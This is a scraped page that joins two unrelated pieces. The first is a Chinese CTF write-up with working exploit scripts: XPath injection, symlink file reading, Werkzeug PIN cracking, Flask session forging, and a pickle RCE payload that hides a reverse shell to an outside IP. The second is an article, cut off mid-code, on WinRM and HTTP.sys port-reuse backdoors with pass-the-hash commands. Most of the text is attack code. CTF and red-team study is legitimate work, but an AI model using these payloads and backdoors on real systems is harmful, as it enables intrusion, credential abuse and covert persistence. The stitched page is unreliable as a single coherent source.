// MixColumns function mixes the columns of the state matrix.// The method used to multiply may be difficult to understand for the// inexperienced. Please use the references to gain more information.static void InvMixColumns(state_t *state) {  int i;  uint8_t a, b, c, d;  for (i = 0; i < 4; ++i) {    a = (*state)[i][0];    b = (*state)[i][1];    c = (*state)[i][2];    d = (*state)[i][3];
    (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^                     Multiply(d, 0x09);    (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^                     Multiply(d, 0x0d);    (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^                     Multiply(d, 0x0b);    (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^                     Multiply(d, 0x0e);  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void InvSubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxInvert((*state)[j][i]);    }  }}
static void InvShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to right  temp = (*state)[3][1];  (*state)[3][1] = (*state)[2][1];  (*state)[2][1] = (*state)[1][1];  (*state)[1][1] = (*state)[0][1];  (*state)[0][1] = temp;
  // Rotate second row 2 columns to right  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to right  temp = (*state)[0][3];  (*state)[0][3] = (*state)[1][3];  (*state)[1][3] = (*state)[2][3];  (*state)[2][3] = (*state)[3][3];  (*state)[3][3] = temp;}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
void swap_xxx(state_t *state) {  for (int j = 0; j < 4; j++) {    uint8_t a = (*state)[j][0];    uint8_t b = (*state)[j][1];    uint8_t c = (*state)[j][2];    uint8_t d = (*state)[j][3];    (*state)[j][3] = a;    (*state)[j][2] = b;    (*state)[j][1] = c;    (*state)[j][0] = d;  }}
// Cipher is the main function that encrypts the PlainText.static void Cipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  // Add the First round key to the state before starting the rounds.  AddRoundKey(0, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without MixColumns()  for (round = 1;; ++round) {    if (round != Nr) {      swap_xxx(state);    }    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    SubBytes(state);    ShiftRows(state);    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;      break;    }
    MixColumns(state);
    swap_xxx(state);    AddRoundKey(round, state, RoundKey);
    hexdump((*state), sizeof(*state));  }  hexdump(*state, sizeof(*state));  // Add round key to last round  AddRoundKey(Nr, state, RoundKey);  swap_xxx(state);}
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static void InvCipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  swap_xxx(state);  // Add the First round key to the state before starting the rounds.  AddRoundKey(Nr, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without InvMixColumn()  for (round = (Nr - 1);; --round) {    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;    }    InvShiftRows(state);    InvSubBytes(state);    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    if (round != (Nr - 1)) {      swap_xxx(state);    }    AddRoundKey(round, state, RoundKey);    if (round == 0) {      break;    }    swap_xxx(state);    InvMixColumns(state);  }}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*****************************************************************************//* Public functions:                                                         *//*****************************************************************************/#if defined(ECB) && (ECB == 1)
void AES_ECB_encrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call encrypts the PlainText with the Key using AES  // algorithm.  Cipher((state_t *)buf, ctx->RoundKey);}
void AES_ECB_decrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call decrypts the PlainText with the Key using AES  // algorithm.  InvCipher((state_t *)buf, ctx->RoundKey);}
#endif // #if defined(ECB) && (ECB == 1)
#if defined(CBC) && (CBC == 1)
static void XorWithIv(uint8_t *buf, const uint8_t *Iv) {  uint8_t i;  for (i = 0; i < AES_BLOCKLEN;       ++i) // The block in AES is always 128bit no matter the key size  {    buf[i] ^= Iv[i];  }}
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t *Iv = ctx->Iv;  for (i = 0; i < length; i += AES_BLOCKLEN) {    XorWithIv(buf, Iv);    Cipher((state_t *)buf, ctx->RoundKey);    Iv = buf;    buf += AES_BLOCKLEN;  }  /* store Iv in ctx for next call */  memcpy(ctx->Iv, Iv, AES_BLOCKLEN);}
void AES_CBC_decrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t storeNextIv[AES_BLOCKLEN];  for (i = 0; i < length; i += AES_BLOCKLEN) {    memcpy(storeNextIv, buf, AES_BLOCKLEN);    InvCipher((state_t *)buf, ctx->RoundKey);    XorWithIv(buf, ctx->Iv);    memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);    buf += AES_BLOCKLEN;  }}
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note * any IV/nonce should never be reused with the same key */void AES_CTR_xcrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  uint8_t buffer[AES_BLOCKLEN];
  size_t i;  int bi;  for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) {    if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */    {
      memcpy(buffer, ctx->Iv, AES_BLOCKLEN);      Cipher((state_t *)buffer, ctx->RoundKey);
      /* Increment Iv and handle overflow */      for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) {        /* inc will overflow */        if (ctx->Iv[bi] == 255) {          ctx->Iv[bi] = 0;          continue;        }        ctx->Iv[bi] += 1;        break;      }      bi = 0;    }
    buf[i] = (buf[i] ^ buffer[bi]);  }}
#endif // #if defined(CTR) && (CTR == 1)
unsigned char hexData2[176] = {    0x39, 0xBA, 0x3A, 0x0B, 0x1C, 0x27, 0x64, 0xA2, 0x80, 0x98, 0x31, 0x36,    0xEB, 0x9E, 0x77, 0x9E, 0x32, 0x53, 0x31, 0xFF, 0x2E, 0x74, 0x55, 0x5D,    0xAE, 0xEC, 0x64, 0x6B, 0x45, 0x72, 0x13, 0xF5, 0xD4, 0x3D, 0x71, 0x80,    0xFA, 0x49, 0x24, 0xDD, 0x54, 0xA5, 0x40, 0xB6, 0x11, 0xD7, 0x53, 0x43,    0xCE, 0xBF, 0x7F, 0x69, 0x34, 0xF6, 0x5B, 0xB4, 0x60, 0x53, 0x1B, 0x02,    0x71, 0x84, 0x48, 0x41, 0x4D, 0x1C, 0x20, 0x33, 0x79, 0xEA, 0x7B, 0x87,    0x19, 0xB9, 0x60, 0x85, 0x68, 0x3D, 0x28, 0xC4, 0x51, 0x59, 0x07, 0x17,    0x28, 0xB3, 0x7C, 0x90, 0x31, 0x0A, 0x1C, 0x15, 0x59, 0x37, 0x34, 0xD1,    0x6F, 0x92, 0x9D, 0x2F, 0x47, 0x21, 0xE1, 0xBF, 0x76, 0x2B, 0xFD, 0xAA,    0x2F, 0x1C, 0xC9, 0x7B, 0x4E, 0x87, 0x01, 0xB2, 0x09, 0xA6, 0xE0, 0x0D,    0x7F, 0x8D, 0x1D, 0xA7, 0x50, 0x91, 0xD4, 0xDC, 0xC8, 0xD4, 0x80, 0x7A,    0xC1, 0x72, 0x60, 0x77, 0xBE, 0xFF, 0x7D, 0xD0, 0xEE, 0x6E, 0xA9, 0x0C,    0x36, 0xFC, 0x1F, 0xB2, 0xF7, 0x8E, 0x7F, 0xC5, 0x49, 0x71, 0x02, 0x15,    0xA7, 0x1F, 0xAB, 0x19, 0xE2, 0xA0, 0xDF, 0xE6, 0x15, 0x2E, 0xA0, 0x23,    0x5C, 0x5F, 0xA2, 0x36, 0xFB, 0x40, 0x09, 0x2F};
int main() {  struct AES_ctx ctx;  uint8_t key[] =      "\x39\xba\x3a\x0b\x1c\x27\x64\xa2\x80\x98\x31\x36\xeb\x9e\x77\x9e";  uint8_t buf[16] = "FFFFFFFFFFFFFFFF";
  AES_init_ctx(&ctx, key);
  memcpy(ctx.RoundKey, hexData2, sizeof(hexData2));  hexdump(ctx.RoundKey, sizeof(ctx.RoundKey));
  AES_ECB_encrypt(&ctx, buf);  hexdump(buf, sizeof(buf));
  uint8_t bufx[16] =      "\xAA\xFE\xE4\xE0\xC3\xB3\x24\x16\x4E\x5B\xF7\x13\x9E\xE1\xCA\xA0";
  AES_ECB_decrypt(&ctx, bufx);  hexdump(bufx, sizeof(bufx));  return 0;}

四、web

1.题目名称:babyjava

xpath 注入,参考:https://xz.aliyun.com/t/7791#toc-6lthbbqwzeg315460.jpgv5hnqwmvwea15462.jpg
exp:import requestsurl = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"}strs = '}_{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'flag = ''for i in range(1, 100):for j in strs:payload_1 = { # root"xpath":"admin' or substring(name(/*[1]), {}, 1)='{}".format(i,j)}payload_2 = { # user"xpath":"admin'or substring(name(/root/*[1]), {}, 1)='{}".format(i,j)}payload_3 = { # username"xpath":"admin'or substring(name(/root/user/*[2]), {}, 1)='{}".format(i,j)}payload_4 = { # username"xpath":"admin'or substring(name(/root/user/*[1]), {}, 1)='{}".format(i,j)}payload_7 = { # flag"xpath":"1' or substring(/root/user/username[2]/text(),{},1)='{}".format(i,j)}r = requests.post(url=url, headers=head, data=payload_7)if "This information is not available" not in r.text:flag += jprint(flag)breakif "This information is not available" in r.text:breakprint(flag)be4wd4pfuna15465.jpg

2.题目名称:OnlineUnzip

题目源代码如下:import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)
这里直接利用软链接就可以进行任意文件读取了。按照下面的操作来即可ida3hbjgpt015468.jpgrvkza1jky3l15471.jpg
软链接任意读文件
flag.sh /etc/passwd
#!/usr/bin/env bashrm flagrm flag.zipln -s $1 flagzip --symlinks flag.zip flagskovnssspcw15537.jpg发现 ffffl111l1a44a4gggetngbcqy5bj15542.jpg可以看到这里是开启debug的。那么可以算pin来打huwkucibco315547.jpg可以参考这个师傅算pin的文章https://blog.csdn.net/weixin_54648419/article/details/123632203读取发现无权限, python3.8,所以可以算 pin 码gp4pylsrtq115551.jpg算 pin
import hashlibfrom itertools import chainprobably_public_bits = ['ctf'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到]private_bits = ['95529894978',# /sys/class/net/eth0/address 16 进 制 转 10 进 制00:16:3e:06:84:42#/etc/machine-id + /proc/self/cgroup'96cec10d3d9307792745ec3b85c896201d32e75cee611384a0f09556e07ef291176ed1454d035521b7e624689d20583d']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)读取 flag上面算machine_id有点小坑是,算pin的好多文章描述的都是(每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取),然后这里三个文件都有。最后各种匹配都不行。看了下算machine_id的源码,其实就是把/etc/machine-id和/proc/self/cgroup拼接起来就行了

qwhv4okjyeu15556.jpg

3.easypickle

题目源码:import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)首先我们如果要反序列化的化,就要伪造session让自己是admin。那么我们首先就需要获取到密钥。这里的密钥是伪随机的。我们生成字典利用工具爆破出密钥即可numbers_str = [str(x) for x in range(10)]
a=['a','b','c','d','e','f']
a+= numbers_str
file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w')
for b in a:
    for c in a:
        for d in a:
            for e in a:
                file.write("{}{}{}{}\n".format(b,c,d,e))
korat3tsdyy15559.jpg然后利用flask-unsign工具直接跑就行了(跑得不是一般的快flask-unsign --unsign --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.YyVFUA.RSTsbveITHMSD9v0MTLMswCryRc" --wordlist "C:\Users\Administrator\Desktop\easypickle\zidian.txt" --no-literal-eval
[*] Session decodes to: {'user': 'admin'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 24960 attempts
b'6174qixmwf3h1sv15562.jpg
黑名单这里的逻辑是把我们的序列化的数据解码后正则,再替换,只要替换后的payload过了waf就可以了。最后反序列化的是替换前的。那么这里其实是可以用o指令,只是也要把s指令带上,那么替换之后就变成了Os然后是可以过waf的,最后反序列化的是os.s的指令如下。那么我们只需要把s指令和o指令合理结合即可
xocezbtklls15565.jpg本地测试一下import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code)
大家可以参考一下这篇文章来补一下pickle的指令https://xz.aliyun.com/t/7436#toc-6,然后像文章里面一样利用pickle的工具库来分析payloadgalxtx5t3rl15568.jpgC:\Users\Administrator\Desktop\easypickle\venv\Scripts\python.exe C:/Users/Administrator/Desktop/easypickle/3.py 
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

    0: (    MARK
    1: S        STRING     'shanghe1'
   12: S        STRING     'shanghe'  #这里的意思是压进去第一个字典
   23: d        DICT       (MARK at 0)
   24: (    MARK
   25: S        STRING     'shanghe2'
   36: S        STRING     'shanghe'
   47: d        DICT       (MARK at 24)  #再往栈里面压进去第二个字典
   48: (    MARK
   49: c        GLOBAL     'os system'
   60: S        STRING     'dir'
   67: o        OBJ        (MARK at 48)  #这里用我们逃出来的o指令进行命令执行
   68: s    SETITEM   #最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面,作为新的键值对。
   69: .    STOP
highest protocol among opcodes = 1
最后直接拿flag即可。也可以编码用v指令任意命令执行反弹shell都可以import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\ndS'shanghe'\n(cos\nsystem\nS'cat f* >xxx'os.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code))
然后伪造即可替换原来的sesison,然后访问admin页面即可
python3  flask_session_cookie_manager3.py encode -s "6174"  -t "{'user': 'admin','ser_data':b'KFMnc2hhbmdoZScKUydzaGFuZ2hlJwpkUydzaGFuZ2hlJwooY29zCnN5c3RlbQpWXHUwMDYyXHUwMDYxXHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDYzXHUwMDIwXHUwMDI3XHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDY5XHUwMDIwXHUwMDNFXHUwMDI2XHUwMDIwXHUwMDJGXHUwMDY0XHUwMDY1XHUwMDc2XHUwMDJGXHUwMDc0XHUwMDYzXHUwMDcwXHUwMDJGXHUwMDM0XHUwMDM3XHUwMDJFXHUwMDM5XHUwMDM2XHUwMDJFXHUwMDM0XHUwMDMxXHUwMDJFXHUwMDMxXHUwMDMwXHUwMDMzXHUwMDJGXHUwMDMxXHUwMDMzXHUwMDMzXHUwMDM3XHUwMDIwXHUwMDMwXHUwMDNFXHUwMDI2XHUwMDMxXHUwMDI3Cm9zLg=='}



参考连接:https://mp.weixin.qq.com/s/UucoNpyYoopJ4X7V_CmpiA http://www.fzwjscj.xyz/index.php/archives/48/ Arr3stY0u战队wp
附件下载:链接:https://pan.baidu.com/s/1h9TST5S8zPs4EY5jRgZqDA   提取码:2pay 
HireHackking

端口复用后门总结

WinRM实现端口复用

这种攻击方式前提是需要帐号和密码,如果在获得hash的情况下也可以利用evil-winrm来实现hash登录

服务介绍

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

后门应用

在windows2012服务器中,winrm默认启动,开启了5985端口,在2008系统中需要手动开启服务

winrm quickconfig -q

启动后防火墙也会放行该端口
20210104174750
设置启用httplistener监听并存

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80
winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443

20210104174922

修改监听端口为80/443

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/Listener?Address=*+Transport=HTTPS  @{Port="443"}

20210104175540

本地连接也需要开启WinRM服务,然后设置信任连接的主机,

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
winrs -r:http://172.16.142.151:5985 -u:administrator -p:admin123 "whoami"

20210105131322
20210105125247

WinRM PTH

mac下使用evil-winrm实施pth

sudo gem install evil-winrm
evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80

测试了下复用后也是可以pth连接的。
20210105131325
20210105131152

HTTP.sys端口复用

HTTP.sys介绍

这种方法的应用场景是针对IIS,HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys

1 当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候,这些应用需要在HTTP.SYS上面注册url prefix ,关于注册URL的规则,可以参考MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx 。这是注册的过程。
2 当一个请求到来并被http.sys获取到,它需要分发这个请求给注册当前url对应的应用,这是路由的过程。

劫持程序实现

这样我们可以自己写一个注册url功能的exe,然后根据请求访问url来实现后门功能。
注册代码参考msdn和stackoverflow上的代码:

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://docs.microsoft.com/zh-cn/windows/win32/http/http-server-sample-application

DWORD DoReceiveRequests(IN HANDLE hReqQueue)
{
    ULONG              result;
    HTTP_REQUEST_ID    requestId;
    DWORD              bytesRead;
    PHTTP_REQUEST      pRequest;
    PCHAR              pRequestBuffer;
    ULONG              RequestBufferLength;

    //
    // Allocate a 2 KB buffer. This size should work for most 
    // requests. The buffer size can be increased if required. Space
    // is also required for an HTTP_REQUEST structure.
    //
    RequestBufferLength = sizeof(HTTP_REQUEST) + 2048;
    pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength);

    if (pRequestBuffer == NULL)
    {
        return ERROR_NOT_ENOUGH_MEMORY;
    }

    pRequest = (PHTTP_REQUEST)pRequestBuffer;

    //
    // Wait for a new request. This is indicated by a NULL 
    // request ID.
    //

    HTTP_SET_NULL_ID(&requestId);

    for (;;)
    {
        RtlZeroMemory(pRequest, RequestBufferLength);

        result = HttpReceiveHttpRequest(
            hReqQueue,          // Req Queue
            requestId,          // Req ID
            0,                  // Flags
            pRequest,           // HTTP request buffer
            RequestBufferLength,// req buffer length
            &bytesRead,         // bytes received
            NULL                // LPOVERLAPPED
        );
        if (NO_ERROR == result)
        {

            DWORD answer = 0;
            HTTP_SSL_CLIENT_CERT_INFO sslClientCertInfo;
            ULONG bytesReceived;
            answer = HttpReceiveClientCertificate(hReqQueue, pRequest->ConnectionId, 0,
                &sslClientCertInfo, sizeof(HTTP_SSL_CLIENT_CERT_INFO), &bytesReceived, NULL); //注册后等待接收
            char* command;
            char temp[512];
            string cmd_temp;
            strcpy_s(temp, pRequest->pRawUrl);
            command = temp;
            command = strstr(command, "cmd=");
            if (command == NULL)
                continue;
            cmd_temp.assign(command);
            cmd_temp.replace(cmd_temp.find("cmd="), 4, "");
            //------------------------------------
            uint8* text = (uint8*)cmd_temp.c_str();
            uint32 text_len = (uint32)strlen((char*)text);
            uint8 buffer[1024], buffer2[4096];
            uint32 size = base64_decode(text, text_len, buffer);
            buffer[size] = 0;
            //------------------------------------
            printf("%s", buffer);
            if (answer != NO_ERROR)
            {

                string results;
                if (cmd_temp.size() == 0)
                    continue;
                char* tis((char*)buffer);
                HANDLE hRead, hWrite;
                CreatePipecmd(tis, hRead, hWrite, results);
                result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));
            }
            else
            {
                result = SendHttpResponse(hReqQueue, pRequest, 200, "OK", "OK");
            }

            if (result != NO_ERROR)
            {
                //break; //if failed to send response, stop listening for further incoming requests
            }
            //
            // Reset the Request ID to handle the next request.
            //
            HTTP_SET_NULL_ID(&requestId);
        }
        else
        {
           // break;
        }

    }
    if (pRequestBuffer)
    {
        FREE_MEM(pRequestBuffer);
    }

    return result;
}

HttpReceiveClientCertificate提供客户端为响应服务器的客户端标识请求而颁发的客户端证书字段。
等待访问来源后
截取cmd=后字段内容

char* command;
char temp[512];
string cmd_temp;
strcpy_s(temp, pRequest->pRawUrl);
command = temp;
command = strstr(command, "cmd=");
if (command == NULL) //防止为空时报错。
    continue;
cmd_temp.assign(command);
cmd_temp.replace(cmd_temp.find("cmd="), 4, "");

对传入内容base64解码

uint8* text = (uint8*)cmd_temp.c_str();
uint32 text_len = (uint32)strlen((char*)text);
uint8 buffer[1024], buffer2[4096];
uint32 size = base64_decode(text, text_len, buffer);
buffer[size] = 0;

base64解码函数

#include <stdio.h>
#include <string.h>
#include <assert.h>
typedef unsigned char     uint8;
typedef unsigned long    uint32;
static uint8 alphabet_map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static uint8 reverse_map[] =
{
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 255, 255, 255,
     255,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
     255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255
};
uint32 base64_decode(const uint8* code, uint32 code_len, uint8* plain)
{
    assert((code_len & 0x03) == 0);  //如果它的条件返回错误,则终止程序执行。4的倍数。

    uint32 i, j = 0;
    uint8 quad[4];
    for (i = 0; i < code_len; i += 4)
    {
        for (uint32 k = 0; k < 4; k++)
        {
            quad[k] = reverse_map[code[i + k]];//分组,每组四个分别依次转换为base64表内的十进制数
        }

        assert(quad[0] < 64 && quad[1] < 64);

        plain[j++] = (quad[0] << 2) | (quad[1] >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的前2位进行组合

        if (quad[2] >= 64)
            break;
        else if (quad[3] >= 64)
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应base64表的十进制数的前4位进行组合
            break;
        }
        else
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2);
            plain[j++] = (quad[2] << 6) | quad[3];//取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合
        }
    }
    return j;
}

命令执行,这里我用的createprocess+命名管道实现命令结果的回传。

string results;
if (cmd_temp.size() == 0)
    continue;
char* tis((char*)buffer);
HANDLE hRead, hWrite;
CreatePipecmd(tis, hRead, hWrite, results);
result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));

为了防止输入cmd.exe/calc.exe这种造成阻塞,我用sleep 1秒后kill掉进程。
先创建命名管道,将CreateProcess执行结果传入命名管道中,最后Readfile,再将读取内容传给result中。

BOOL KillProcess(DWORD ProcessId)
{
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
    if (hProcess == NULL)
        return FALSE;
    if (!TerminateProcess(hProcess, 0))
        return FALSE;
    return TRUE;
}
char* CreatePipecmd(char* pszCmd, HANDLE& hRead, HANDLE& hWrite, string& result)
{
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    HANDLE hCmdRead, hCmdWrite;
    char buf[2048] = { 0 };
    DWORD len;
    CreatePipe(&hRead, &hCmdWrite, &sa, 0);
    int nRet = CreatePipe(&hCmdRead, &hWrite, &sa, 0);
    if (nRet == 0) {        //管道创建失败
        printf("CreatePipecmd()::CreatePipe() fail!\n");
        return NULL;
    }
    STARTUPINFO startinfo;          //设置cmd启动参数
    GetStartupInfo(&startinfo);
    startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    startinfo.hStdInput = hCmdRead;
    startinfo.hStdOutput = hCmdWrite;
